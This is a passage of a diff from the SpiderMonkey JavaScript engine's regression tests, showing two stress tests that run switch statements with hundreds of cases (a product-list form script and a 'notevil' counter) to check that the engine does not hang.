+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9000 64MB', '1540'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9000 Pro', '1541'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 4 MX420', '4869'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9800 Pro', '4917'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 4 MX460', '4969'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9600', '4973'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9000 Pro 128MB', '8995'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9200 SE', '9024'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9600 Pro', '9576'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9600 XT', '10311'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9600 SE', '10335'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Savage 4', '1536'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster VLB', '1537'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Voodoo 2', '1538'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster PCI', '1523'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Banshee', '1506'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Banshee AGP', '1507'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 7 : // Modems & Networking
+ switch(parseInt(famID)) {
+
+ case 41 : // Wireless
+ try { addBoxItem(document.Support_Form.Product_ID, 'USB Adapter CB2431', '10863'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Network Blaster Wireless PCMCIA Card', '3868'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 42 : // Broadband
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster DSL Router 8015U', '11176'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster Router 8110', '10280'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster ADSL Bridge ', '4873'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster USB Modem', '4871'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Broadband Blaster DSL', '4921'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 40 : // Analog
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster PCMCIA', '24'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.92 PCI', '52'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.92 Serial', '258'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.92 USB', '266'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem 56k Internal', '1715'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster Flash 56II ISA', '18'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.90 ISA', '19'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster Flash 56 PCI', '21'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.90 USB', '22'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster V.90 External', '23'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster USB (DE5675)', '8992'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster USB (DE5673)', '8991'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster PCI (DI5663)', '4999'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster PCI (DI5656)', '8988'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster PCI (DI5655)', '8989'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster External (DE5625)', '8990'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Modem Blaster 28.8 External', '5000'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CT5451 Modem Blaster Voice PnP', '5001'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Phone Blaster', '1809'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 106 : // Software
+ switch(parseInt(famID)) {
+
+ case 241 : // HansVision DXT
+ try { addBoxItem(document.Support_Form.Product_ID, 'HansVision DXT 2005 Edition', '12218'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 242 : // Children\'s Multimedia Educational
+ try { addBoxItem(document.Support_Form.Product_ID, 'WaWaYaYa Happy Mandarin Series', '11269'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WaWaYaYa Happy English Series', '4932'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 107 : // HansVision
+ try { addBoxItem(document.Support_Form.Product_ID, 'HansVision DXT', '4928'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 108 : // WaWaYaYa
+ try { addBoxItem(document.Support_Form.Product_ID, 'WaWaYaYa Comprehensive Ability Series', '4930'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 109 : // Others
+
+ break;
+
+
+ }
+ break;
+
+ }
+ // addBoxItem(document.Support_Form.Product_ID, 'Zen Portable Media Center', 'DUMMYPREFIX_ZenPMC_Temp|9882');
+}
+
+try
+{
+ productList(0,0);
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/Statements/regress-324650.js b/js/src/tests/ecma_3/Statements/regress-324650.js
new file mode 100644
index 000000000..d4314582a
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-324650.js
@@ -0,0 +1,5427 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 324650;
+var summary = 'Switch Statement with many cases';
+var actual = 'No Hang';
+var expect = 'No Hang';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var notevil = "z1";
+var notevil2 = "z2";
+var notevil3 = "z3";
+var dut = 7;
+var dut2 = 7;
+var dut3 = 7;
+
+/* shouldn't be evil */
+
+switch ( notevil ) {
+case "z1": dut = 2;
+ break;
+case "z2":
+ notevil = (notevil + 2)/2;
+ break;
+case "z3":
+ notevil = (notevil + 3)/2;
+ break;
+case "z4":
+ notevil = (notevil + 4)/2;
+ break;
+case "z5":
+ notevil = (notevil + 5)/2;
+ break;
+case "z6":
+ notevil = (notevil + 6)/2;
+ break;
+case "z7":
+ notevil = (notevil + 7)/2;
+ break;
+case "z8":
+ notevil = (notevil + 8)/2;
+ break;
+case "z9":
+ notevil = (notevil + 9)/2;
+ break;
+case "z10":
+ notevil = (notevil + 10)/2;
+ break;
+case "z11":
+ notevil = (notevil + 11)/2;
+ break;
+case "z12":
+ notevil = (notevil + 12)/2;
+ break;
+case "z13":
+ notevil = (notevil + 13)/2;
+ break;
+case "z14":
+ notevil = (notevil + 14)/2;
+ break;
+case "z15":
+ notevil = (notevil + 15)/2;
+ break;
+case "z16":
+ notevil = (notevil + 16)/2;
+ break;
+case "z17":
+ notevil = (notevil + 17)/2;
+ break;
+case "z18":
+ notevil = (notevil + 18)/2;
+ break;
+case "z19":
+ notevil = (notevil + 19)/2;
+ break;
+case "z20":
+ notevil = (notevil + 20)/2;
+ break;
+case "z21":
+ notevil = (notevil + 21)/2;
+ break;
+case "z22":
+ notevil = (notevil + 22)/2;
+ break;
+case "z23":
+ notevil = (notevil + 23)/2;
+ break;
+case "z24":
+ notevil = (notevil + 24)/2;
+ break;
+case "z25":
+ notevil = (notevil + 25)/2;
+ break;
+case "z26":
+ notevil = (notevil + 26)/2;
+ break;
+case "z27":
+ notevil = (notevil + 27)/2;
+ break;
+case "z28":
+ notevil = (notevil + 28)/2;
+ break;
+case "z29":
+ notevil = (notevil + 29)/2;
+ break;
+case "z30":
+ notevil = (notevil + 30)/2;
+ break;
+case "z31":
+ notevil = (notevil + 31)/2;
+ break;
+case "z32":
+ notevil = (notevil + 32)/2;
+ break;
+case "z33":
+ notevil = (notevil + 33)/2;
+ break;
+case "z34":
+ notevil = (notevil + 34)/2;
+ break;
+case "z35":
+ notevil = (notevil + 35)/2;
+ break;
+case "z36":
+ notevil = (notevil + 36)/2;
+ break;
+case "z37":
+ notevil = (notevil + 37)/2;
+ break;
+case "z38":
+ notevil = (notevil + 38)/2;
+ break;
+case "z39":
+ notevil = (notevil + 39)/2;
+ break;
+case "z40":
+ notevil = (notevil + 40)/2;
+ break;
+case "z41":
+ notevil = (notevil + 41)/2;
+ break;
+case "z42":
+ notevil = (notevil + 42)/2;
+ break;
+case "z43":
+ notevil = (notevil + 43)/2;
+ break;
+case "z44":
+ notevil = (notevil + 44)/2;
+ break;
+case "z45":
+ notevil = (notevil + 45)/2;
+ break;
+case "z46":
+ notevil = (notevil + 46)/2;
+ break;
+case "z47":
+ notevil = (notevil + 47)/2;
+ break;
+case "z48":
+ notevil = (notevil + 48)/2;
+ break;
+case "z49":
+ notevil = (notevil + 49)/2;
+ break;
+case "z50":
+ notevil = (notevil + 50)/2;
+ break;
+case "z51":
+ notevil = (notevil + 51)/2;
+ break;
+case "z52":
+ notevil = (notevil + 52)/2;
+ break;
+case "z53":
+ notevil = (notevil + 53)/2;
+ break;
+case "z54":
+ notevil = (notevil + 54)/2;
+ break;
+case "z55":
+ notevil = (notevil + 55)/2;
+ break;
+case "z56":
+ notevil = (notevil + 56)/2;
+ break;
+case "z57":
+ notevil = (notevil + 57)/2;
+ break;
+case "z58":
+ notevil = (notevil + 58)/2;
+ break;
+case "z59":
+ notevil = (notevil + 59)/2;
+ break;
+case "z60":
+ notevil = (notevil + 60)/2;
+ break;
+case "z61":
+ notevil = (notevil + 61)/2;
+ break;
+case "z62":
+ notevil = (notevil + 62)/2;
+ break;
+case "z63":
+ notevil = (notevil + 63)/2;
+ break;
+case "z64":
+ notevil = (notevil + 64)/2;
+ break;
+case "z65":
+ notevil = (notevil + 65)/2;
+ break;
+case "z66":
+ notevil = (notevil + 66)/2;
+ break;
+case "z67":
+ notevil = (notevil + 67)/2;
+ break;
+case "z68":
+ notevil = (notevil + 68)/2;
+ break;
+case "z69":
+ notevil = (notevil + 69)/2;
+ break;
+case "z70":
+ notevil = (notevil + 70)/2;
+ break;
+case "z71":
+ notevil = (notevil + 71)/2;
+ break;
+case "z72":
+ notevil = (notevil + 72)/2;
+ break;
+case "z73":
+ notevil = (notevil + 73)/2;
+ break;
+case "z74":
+ notevil = (notevil + 74)/2;
+ break;
+case "z75":
+ notevil = (notevil + 75)/2;
+ break;
+case "z76":
+ notevil = (notevil + 76)/2;
+ break;
+case "z77":
+ notevil = (notevil + 77)/2;
+ break;
+case "z78":
+ notevil = (notevil + 78)/2;
+ break;
+case "z79":
+ notevil = (notevil + 79)/2;
+ break;
+case "z80":
+ notevil = (notevil + 80)/2;
+ break;
+case "z81":
+ notevil = (notevil + 81)/2;
+ break;
+case "z82":
+ notevil = (notevil + 82)/2;
+ break;
+case "z83":
+ notevil = (notevil + 83)/2;
+ break;
+case "z84":
+ notevil = (notevil + 84)/2;
+ break;
+case "z85":
+ notevil = (notevil + 85)/2;
+ break;
+case "z86":
+ notevil = (notevil + 86)/2;
+ break;
+case "z87":
+ notevil = (notevil + 87)/2;
+ break;
+case "z88":
+ notevil = (notevil + 88)/2;
+ break;
+case "z89":
+ notevil = (notevil + 89)/2;
+ break;
+case "z90":
+ notevil = (notevil + 90)/2;
+ break;
+case "z91":
+ notevil = (notevil + 91)/2;
+ break;
+case "z92":
+ notevil = (notevil + 92)/2;
+ break;
+case "z93":
+ notevil = (notevil + 93)/2;
+ break;
+case "z94":
+ notevil = (notevil + 94)/2;
+ break;
+case "z95":
+ notevil = (notevil + 95)/2;
+ break;
+case "z96":
+ notevil = (notevil + 96)/2;
+ break;
+case "z97":
+ notevil = (notevil + 97)/2;
+ break;
+case "z98":
+ notevil = (notevil + 98)/2;
+ break;
+case "z99":
+ notevil = (notevil + 99)/2;
+ break;
+case "z100":
+ notevil = (notevil + 100)/2;
+ break;
+case "z101":
+ notevil = (notevil + 101)/2;
+ break;
+case "z102":
+ notevil = (notevil + 102)/2;
+ break;
+case "z103":
+ notevil = (notevil + 103)/2;
+ break;
+case "z104":
+ notevil = (notevil + 104)/2;
+ break;
+case "z105":
+ notevil = (notevil + 105)/2;
+ break;
+case "z106":
+ notevil = (notevil + 106)/2;
+ break;
+case "z107":
+ notevil = (notevil + 107)/2;
+ break;
+case "z108":
+ notevil = (notevil + 108)/2;
+ break;
+case "z109":
+ notevil = (notevil + 109)/2;
+ break;
+case "z110":
+ notevil = (notevil + 110)/2;
+ break;
+case "z111":
+ notevil = (notevil + 111)/2;
+ break;
+case "z112":
+ notevil = (notevil + 112)/2;
+ break;
+case "z113":
+ notevil = (notevil + 113)/2;
+ break;
+case "z114":
+ notevil = (notevil + 114)/2;
+ break;
+case "z115":
+ notevil = (notevil + 115)/2;
+ break;
+case "z116":
+ notevil = (notevil + 116)/2;
+ break;
+case "z117":
+ notevil = (notevil + 117)/2;
+ break;
+case "z118":
+ notevil = (notevil + 118)/2;
+ break;
+case "z119":
+ notevil = (notevil + 119)/2;
+ break;
+case "z120":
+ notevil = (notevil + 120)/2;
+ break;
+case "z121":
+ notevil = (notevil + 121)/2;
+ break;
+case "z122":
+ notevil = (notevil + 122)/2;
+ break;
+case "z123":
+ notevil = (notevil + 123)/2;
+ break;
+case "z124":
+ notevil = (notevil + 124)/2;
+ break;
+case "z125":
+ notevil = (notevil + 125)/2;
+ break;
+case "z126":
+ notevil = (notevil + 126)/2;
+ break;
+case "z127":
+ notevil = (notevil + 127)/2;
+ break;
+case "z128":
+ notevil = (notevil + 128)/2;
+ break;
+case "z129":
+ notevil = (notevil + 129)/2;
+ break;
+case "z130":
+ notevil = (notevil + 130)/2;
+ break;
+case "z131":
+ notevil = (notevil + 131)/2;
+ break;
+case "z132":
+ notevil = (notevil + 132)/2;
+ break;
+case "z133":
+ notevil = (notevil + 133)/2;
+ break;
+case "z134":
+ notevil = (notevil + 134)/2;
+ break;
+case "z135":
+ notevil = (notevil + 135)/2;
+ break;
+case "z136":
+ notevil = (notevil + 136)/2;
+ break;
+case "z137":
+ notevil = (notevil + 137)/2;
+ break;
+case "z138":
+ notevil = (notevil + 138)/2;
+ break;
+case "z139":
+ notevil = (notevil + 139)/2;
+ break;
+case "z140":
+ notevil = (notevil + 140)/2;
+ break;
+case "z141":
+ notevil = (notevil + 141)/2;
+ break;
+case "z142":
+ notevil = (notevil + 142)/2;
+ break;
+case "z143":
+ notevil = (notevil + 143)/2;
+ break;
+case "z144":
+ notevil = (notevil + 144)/2;
+ break;
+case "z145":
+ notevil = (notevil + 145)/2;
+ break;
+case "z146":
+ notevil = (notevil + 146)/2;
+ break;
+case "z147":
+ notevil = (notevil + 147)/2;
+ break;
+case "z148":
+ notevil = (notevil + 148)/2;
+ break;
+case "z149":
+ notevil = (notevil + 149)/2;
+ break;
+case "z150":
+ notevil = (notevil + 150)/2;
+ break;
+case "z151":
+ notevil = (notevil + 151)/2;
+ break;
+case "z152":
+ notevil = (notevil + 152)/2;
+ break;
+case "z153":
+ notevil = (notevil + 153)/2;
+ break;
+case "z154":
+ notevil = (notevil + 154)/2;
+ break;
+case "z155":
+ notevil = (notevil + 155)/2;
+ break;
+case "z156":
+ notevil = (notevil + 156)/2;
+ break;
+case "z157":
+ notevil = (notevil + 157)/2;
+ break;
+case "z158":
+ notevil = (notevil + 158)/2;
+ break;
+case "z159":
+ notevil = (notevil + 159)/2;
+ break;
+case "z160":
+ notevil = (notevil + 160)/2;
+ break;
+case "z161":
+ notevil = (notevil + 161)/2;
+ break;
+case "z162":
+ notevil = (notevil + 162)/2;
+ break;
+case "z163":
+ notevil = (notevil + 163)/2;
+ break;
+case "z164":
+ notevil = (notevil + 164)/2;
+ break;
+case "z165":
+ notevil = (notevil + 165)/2;
+ break;
+case "z166":
+ notevil = (notevil + 166)/2;
+ break;
+case "z167":
+ notevil = (notevil + 167)/2;
+ break;
+case "z168":
+ notevil = (notevil + 168)/2;
+ break;
+case "z169":
+ notevil = (notevil + 169)/2;
+ break;
+case "z170":
+ notevil = (notevil + 170)/2;
+ break;
+case "z171":
+ notevil = (notevil + 171)/2;
+ break;
+case "z172":
+ notevil = (notevil + 172)/2;
+ break;
+case "z173":
+ notevil = (notevil + 173)/2;
+ break;
+case "z174":
+ notevil = (notevil + 174)/2;
+ break;
+case "z175":
+ notevil = (notevil + 175)/2;
+ break;
+case "z176":
+ notevil = (notevil + 176)/2;
+ break;
+case "z177":
+ notevil = (notevil + 177)/2;
+ break;
+case "z178":
+ notevil = (notevil + 178)/2;
+ break;
+case "z179":
+ notevil = (notevil + 179)/2;
+ break;
+case "z180":
+ notevil = (notevil + 180)/2;
+ break;
+case "z181":
+ notevil = (notevil + 181)/2;
+ break;
+case "z182":
+ notevil = (notevil + 182)/2;
+ break;
+case "z183":
+ notevil = (notevil + 183)/2;
+ break;
+case "z184":
+ notevil = (notevil + 184)/2;
+ break;
+case "z185":
+ notevil = (notevil + 185)/2;
+ break;
+case "z186":
+ notevil = (notevil + 186)/2;
+ break;
+case "z187":
+ notevil = (notevil + 187)/2;
+ break;
+case "z188":
+ notevil = (notevil + 188)/2;
+ break;
+case "z189":
+ notevil = (notevil + 189)/2;
+ break;
+case "z190":
+ notevil = (notevil + 190)/2;
+ break;
+case "z191":
+ notevil = (notevil + 191)/2;
+ break;
+case "z192":
+ notevil = (notevil + 192)/2;
+ break;
+case "z193":
+ notevil = (notevil + 193)/2;
+ break;
+case "z194":
+ notevil = (notevil + 194)/2;
+ break;
+case "z195":
+ notevil = (notevil + 195)/2;
+ break;
+case "z196":
+ notevil = (notevil + 196)/2;
+ break;
+case "z197":
+ notevil = (notevil + 197)/2;
+ break;
+case "z198":
+ notevil = (notevil + 198)/2;
+ break;
+case "z199":
+ notevil = (notevil + 199)/2;
+ break;
+case "z200":
+ notevil = (notevil + 200)/2;
+ break;
+case "z201":
+ notevil = (notevil + 201)/2;
+ break;
+case "z202":
+ notevil = (notevil + 202)/2;
+ break;
+case "z203":
+ notevil = (notevil + 203)/2;
+ break;
+case "z204":
+ notevil = (notevil + 204)/2;
+ break;
+case "z205":
+ notevil = (notevil + 205)/2;
+ break;
+case "z206":
+ notevil = (notevil + 206)/2;
+ break;
+case "z207":
+ notevil = (notevil + 207)/2;
+ break;
+case "z208":
+ notevil = (notevil + 208)/2;
+ break;
+case "z209":
+ notevil = (notevil + 209)/2;
+ break;
+case "z210":
+ notevil = (notevil + 210)/2;
+ break;
+case "z211":
+ notevil = (notevil + 211)/2;
+ break;
+case "z212":
+ notevil = (notevil + 212)/2;
+ break;
+case "z213":
+ notevil = (notevil + 213)/2;
+ break;
+case "z214":
+ notevil = (notevil + 214)/2;
+ break;
+case "z215":
+ notevil = (notevil + 215)/2;
+ break;
+case "z216":
+ notevil = (notevil + 216)/2;
+ break;
+case "z217":
+ notevil = (notevil + 217)/2;
+ break;
+case "z218":
+ notevil = (notevil + 218)/2;
+ break;
+case "z219":
+ notevil = (notevil + 219)/2;
+ break;
+case "z220":
+ notevil = (notevil + 220)/2;
+ break;
+case "z221":
+ notevil = (notevil + 221)/2;
+ break;
+case "z222":
+ notevil = (notevil + 222)/2;
+ break;
+case "z223":
+ notevil = (notevil + 223)/2;
+ break;
+case "z224":
+ notevil = (notevil + 224)/2;
+ break;
+case "z225":
+ notevil = (notevil + 225)/2;
+ break;
+case "z226":
+ notevil = (notevil + 226)/2;
+ break;
+case "z227":
+ notevil = (notevil + 227)/2;
+ break;
+case "z228":
+ notevil = (notevil + 228)/2;
+ break;
+case "z229":
+ notevil = (notevil + 229)/2;
+ break;
+case "z230":
+ notevil = (notevil + 230)/2;
+ break;
+case "z231":
+ notevil = (notevil + 231)/2;
+ break;
+case "z232":
+ notevil = (notevil + 232)/2;
+ break;
+case "z233":
+ notevil = (notevil + 233)/2;
+ break;
+case "z234":
+ notevil = (notevil + 234)/2;
+ break;
+case "z235":
+ notevil = (notevil + 235)/2;
+ break;
+case "z236":
+ notevil = (notevil + 236)/2;
+ break;
+case "z237":
+ notevil = (notevil + 237)/2;
+ break;
+case "z238":
+ notevil = (notevil + 238)/2;
+ break;
+case "z239":
+ notevil = (notevil + 239)/2;
+ break;
+case "z240":
+ notevil = (notevil + 240)/2;
+ break;
+case "z241":
+ notevil = (notevil + 241)/2;
+ break;
+case "z242":
+ notevil = (notevil + 242)/2;
+ break;
+case "z243":
+ notevil = (notevil + 243)/2;
+ break;
+case "z244":
+ notevil = (notevil + 244)/2;
+ break;
+case "z245":
+ notevil = (notevil + 245)/2;
+ break;
+case "z246":
+ notevil = (notevil + 246)/2;
+ break;
+case "z247":
+ notevil = (notevil + 247)/2;
+ break;
+case "z248":
+ notevil = (notevil + 248)/2;
+ break;
+case "z249":
+ notevil = (notevil + 249)/2;
+ break;
+case "z250":
+ notevil = (notevil + 250)/2;
+ break;
+case "z251":
+ notevil = (notevil + 251)/2;
+ break;
+case "z252":
+ notevil = (notevil + 252)/2;
+ break;
+case "z253":
+ notevil = (notevil + 253)/2;
+ break;
+case "z254":
+ notevil = (notevil + 254)/2;
+ break;
+case "z255":
+ notevil = (notevil + 255)/2;
+ break;
+case "z256":
+ notevil = (notevil + 256)/2;
+ break;
+case "z257":
+ notevil = (notevil + 257)/2;
+ break;
+case "z258":
+ notevil = (notevil + 258)/2;
+ break;
+case "z259":
+ notevil = (notevil + 259)/2;
+ break;
+case "z260":
+ notevil = (notevil + 260)/2;
+ break;
+case "z261":
+ notevil = (notevil + 261)/2;
+ break;
+case "z262":
+ notevil = (notevil + 262)/2;
+ break;
+case "z263":
+ notevil = (notevil + 263)/2;
+ break;
+case "z264":
+ notevil = (notevil + 264)/2;
+ break;
+case "z265":
+ notevil = (notevil + 265)/2;
+ break;
+case "z266":
+ notevil = (notevil + 266)/2;
+ break;
+case "z267":
+ notevil = (notevil + 267)/2;
+ break;
+case "z268":
+ notevil = (notevil + 268)/2;
+ break;
+case "z269":
+ notevil = (notevil + 269)/2;
+ break;
+case "z270":
+ notevil = (notevil + 270)/2;
+ break;
+case "z271":
+ notevil = (notevil + 271)/2;
+ break;
+case "z272":
+ notevil = (notevil + 272)/2;
+ break;
+case "z273":
+ notevil = (notevil + 273)/2;
+ break;
+case "z274":
+ notevil = (notevil + 274)/2;
+ break;
+case "z275":
+ notevil = (notevil + 275)/2;
+ break;
+case "z276":
+ notevil = (notevil + 276)/2;
+ break;
+case "z277":
+ notevil = (notevil + 277)/2;
+ break;
+case "z278":
+ notevil = (notevil + 278)/2;
+ break;
+case "z279":
+ notevil = (notevil + 279)/2;
+ break;
+case "z280":
+ notevil = (notevil + 280)/2;
+ break;
+case "z281":
+ notevil = (notevil + 281)/2;
+ break;
+case "z282":
+ notevil = (notevil + 282)/2;
+ break;
+case "z283":
+ notevil = (notevil + 283)/2;
+ break;
+case "z284":
+ notevil = (notevil + 284)/2;
+ break;
+case "z285":
+ notevil = (notevil + 285)/2;
+ break;
+case "z286":
+ notevil = (notevil + 286)/2;
+ break;
+case "z287":
+ notevil = (notevil + 287)/2;
+ break;
+case "z288":
+ notevil = (notevil + 288)/2;
+ break;
+case "z289":
+ notevil = (notevil + 289)/2;
+ break;
+case "z290":
+ notevil = (notevil + 290)/2;
+ break;
+case "z291":
+ notevil = (notevil + 291)/2;
+ break;
+case "z292":
+ notevil = (notevil + 292)/2;
+ break;
+case "z293":
+ notevil = (notevil + 293)/2;
+ break;
+case "z294":
+ notevil = (notevil + 294)/2;
+ break;
+case "z295":
+ notevil = (notevil + 295)/2;
+ break;
+case "z296":
+ notevil = (notevil + 296)/2;
+ break;
+case "z297":
+ notevil = (notevil + 297)/2;
+ break;
+case "z298":
+ notevil = (notevil + 298)/2;
+ break;
+case "z299":
+ notevil = (notevil + 299)/2;
+ break;
+case "z300":
+ notevil = (notevil + 300)/2;
+ break;
+case "z301":
+ notevil = (notevil + 301)/2;
+ break;
+case "z302":
+ notevil = (notevil + 302)/2;
+ break;
+case "z303":
+ notevil = (notevil + 303)/2;
+ break;
+case "z304":
+ notevil = (notevil + 304)/2;
+ break;
+case "z305":
+ notevil = (notevil + 305)/2;
+ break;
+case "z306":
+ notevil = (notevil + 306)/2;
+ break;
+case "z307":
+ notevil = (notevil + 307)/2;
+ break;
+case "z308":
+ notevil = (notevil + 308)/2;
+ break;
+case "z309":
+ notevil = (notevil + 309)/2;
+ break;
+case "z310":
+ notevil = (notevil + 310)/2;
+ break;
+case "z311":
+ notevil = (notevil + 311)/2;
+ break;
+case "z312":
+ notevil = (notevil + 312)/2;
+ break;
+case "z313":
+ notevil = (notevil + 313)/2;
+ break;
+case "z314":
+ notevil = (notevil + 314)/2;
+ break;
+case "z315":
+ notevil = (notevil + 315)/2;
+ break;
+case "z316":
+ notevil = (notevil + 316)/2;
+ break;
+case "z317":
+ notevil = (notevil + 317)/2;
+ break;
+case "z318":
+ notevil = (notevil + 318)/2;
+ break;
+case "z319":
+ notevil = (notevil + 319)/2;
+ break;
+case "z320":
+ notevil = (notevil + 320)/2;
+ break;
+case "z321":
+ notevil = (notevil + 321)/2;
+ break;
+case "z322":
+ notevil = (notevil + 322)/2;
+ break;
+case "z323":
+ notevil = (notevil + 323)/2;
+ break;
+case "z324":
+ notevil = (notevil + 324)/2;
+ break;
+case "z325":
+ notevil = (notevil + 325)/2;
+ break;
+case "z326":
+ notevil = (notevil + 326)/2;
+ break;
+case "z327":
+ notevil = (notevil + 327)/2;
+ break;
+case "z328":
+ notevil = (notevil + 328)/2;
+ break;
+case "z329":
+ notevil = (notevil + 329)/2;
+ break;
+case "z330":
+ notevil = (notevil + 330)/2;
+ break;
+case "z331":
+ notevil = (notevil + 331)/2;
+ break;
+case "z332":
+ notevil = (notevil + 332)/2;
+ break;
+case "z333":
+ notevil = (notevil + 333)/2;
